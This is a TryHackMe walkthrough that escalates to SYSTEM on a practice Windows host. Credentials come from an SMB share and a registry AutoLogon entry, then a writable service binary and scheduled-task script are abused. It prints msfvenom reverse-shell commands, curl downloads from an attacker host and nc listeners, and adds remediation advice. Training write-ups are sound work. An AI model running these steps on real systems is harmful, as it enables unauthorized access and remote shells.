Windows Jump
Default creds on a guest-readable SMB share give RDP access, a clear-text AutoLogon password in the registry gives a second user, a world-writable service binary hands over a service account, and a writable SYSTEM scheduled-task script gives NT AUTHORITYSYSTEM.
TryHackMe: Windows Jump — SMB Default Creds, an AutoLogon Leak, a Service Binary, and a SYSTEM Task
A walkthrough of the “Windows Jump” challenge from TryHackMe. A Windows host (PRIVESC) walks us up four classic local-privesc rungs: default credentials left on a guest-readable SMB share, a clear-text AutoLogon password sitting in the registry, a service whose executable is writable by everyone, and a scheduled-task script that SYSTEM runs but a low user can edit. No exploits — just Windows misconfigurations stacked four deep.
All flags and passwords are redacted. Windows Jump is an authorized training room on TryHackMe; everything here was performed against a legal practice target. Flags are shown as
THM{<redacted>}and passwords as<redacted>; the real values were recovered on the box but are withheld here.
TL;DR — the whole chain
TL;DR
Guest SMB exposes a Public share whose welcome.txt holds default credentials for thmuser → RDP in as thmuser → reg query ...\Winlogon leaks a clear-text AutoLogon password (DefaultUserName=notadmin, DefaultPassword=...) → runas notadmin → wmic shows the service THMSvc runs as svcadmin, and icacls shows its binary C:\Windows\THMSVC\svc.exe is Everyone:(F) → overwrite it with an msfvenom reverse shell and restart the service → shell as svcadmin → C:\Windows\Tasks\cleanup.bat is run by a SYSTEM scheduled task but is writable by svcadmin → append a payload → NT AUTHORITYSYSTEM.
Four users, each unlocked by a Windows secret or permission left wide open.
The target
export IP=<target-ip>
export ATTACKER_IP=<your-vpn-ip>
nmap shows a typical Windows surface — SMB, RDP, and WinRM — on a host named PRIVESC:
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server (Target_Name: PRIVESC)
5985/tcp open http Microsoft HTTPAPI (WinRM)
Step 1 — SMB default creds, RDP as thmuser
The shares are listable as guest, and Public holds a welcome note:
smbclient -L //$IP -N # Public share is readable
smbclient //$IP/Public -N
smb: \> get welcome.txt
cat welcome.txt
# Welcome to CORP-NET.
# New employee default credentials
# Username : thmuser
# Password : <redacted>
# Please change your password after first login.
Those default creds get us an interactive session over RDP:
xfreerdp3 /v:$IP /u:thmuser /p:'<redacted>' /dynamic-resolution +clipboard /cert:ignore
Step 2 — AutoLogon leak, pivot to notadmin
Windows stores AutoLogon credentials in the Winlogon registry key — in clear text when it is misconfigured:
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
# AutoAdminLogon REG_SZ 1
# DefaultUserName REG_SZ notadmin
# DefaultPassword REG_SZ <redacted> <- clear-text password
Insight
AutoAdminLogon=1 with a DefaultPassword string means the machine logs a user in automatically — and keeps that password in the registry as plaintext, readable by any local user. It is one of the first places to check on a Windows box; here it hands us the notadmin account outright.
Use the leaked password to run a shell as notadmin:
runas /user:notadmin cmd.exe
# ... whoami -> privesc\notadmin
more C:\Users\notadmin\Desktop\flag2.txt
# THM{<redacted>}
Step 3 — weak service-binary permissions, become svcadmin
Hunting for a service tied to the next user, wmic finds one running as svcadmin:
wmic service get name,pathname,startname | findstr /i "svcadmin"
# THMSvc C:\Windows\THMSVC\svc.exe .\svcadmin
The binary’s ACL is the bug — Everyone has Full Control, so any user can replace it:
icacls C:\Windows\THMSVC\svc.exe
# C:\Windows\THMSVC\svc.exe Everyone:(F) PRIVESC\notadmin:(I)(F) ...
Build a reverse-shell executable, drop it over the service binary, and restart the service so it runs our code as svcadmin:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=4444 -f exe -o svc.exe
# serve it (python3 -m http.server) and pull it down on the target:
curl http://$ATTACKER_IP:8000/svc.exe -o %TEMP%/svc.exe
copy /y %TEMP%\svc.exe C:\Windows\THMSVC\svc.exe
net stop THMSvc & net start THMSvc
rlwrap nc -lvnp 4444
# connect from $IP ...
C:\> whoami
privesc\svcadmin
more C:\Users\svcadmin\Desktop\flag3.txt
# THM{<redacted>}
Step 4 — writable SYSTEM scheduled task, to NT AUTHORITYSYSTEM
C:\Windows\Tasks holds an out-of-place cleanup.bat — a “delete temp files” script that a scheduled task runs as SYSTEM. svcadmin can modify it:
icacls C:\Windows\Tasks\cleanup.bat
# cleanup.bat PRIVESC\svcadmin:(I)(M) <- Modify
Append a second reverse-shell payload to the script and wait for the task to fire:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=5555 -f exe -o shell.exe
curl http://$ATTACKER_IP:8000/shell.exe -o %TEMP%/shell.exe
echo %TEMP%\shell.exe >> C:\Windows\Tasks\cleanup.bat
rlwrap nc -lvnp 5555
# connect from $IP ...
C:\> whoami
nt authority\system
more C:\flag4.txt
# THM{<redacted>}
SMB default creds → thmuser → AutoLogon leak → notadmin → service binary → svcadmin → SYSTEM task → SYSTEM.
Impact
Critical
Critical — CVSS 3.1 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). A guest-readable share with default creds gives initial access, and three independent local-privesc flaws chain to full SYSTEM:
- Weak/default credentials on a guest-readable share — interactive access with no real authentication barrier.
- Clear-text AutoLogon password in the registry — any local user reads another account’s password.
- World-writable service executable — overwrite-and-restart yields code execution as the service account.
- Writable script run by a SYSTEM scheduled task — direct SYSTEM, the highest local privilege.
Recommended fix
Fix
- Don’t ship default creds, and don’t leave them on a share. Force a password change on first logon and remove
welcome.txt; restrict guest SMB access. - Avoid AutoLogon; if required, don’t store the password in plaintext. Use the LSA secret mechanism, and treat
DefaultPasswordinWinlogonas a reportable exposure. - Fix service-binary ACLs. Service executables must be writable only by Administrators/SYSTEM — never
Everyone:(F). - Lock down scheduled-task scripts. Any file a SYSTEM task runs must be non-writable by lower-privileged users;
C:\Windows\Tasks\cleanup.batshould be root-owned and read-only to them.
Takeaways
- Default creds on a share are a free foothold. Always read every file a guest SMB session exposes.
WinlogonAutoLogon is a top-tier Windows privesc check. A plaintextDefaultPasswordis a whole account handed over.icaclson service binaries pays off.Everyone:(F)on an executable a service runs is an instant pivot to that service’s account.- SYSTEM runs scheduled tasks — check who can write the script. A
ModifyACL on a task’s batch file is the shortest path to SYSTEM.
Thanks for reading. Windows Jump is a compact tour of the four misconfigurations that end most real-world Windows boxes — default creds, AutoLogon leaks, weak service ACLs, and writable privileged tasks.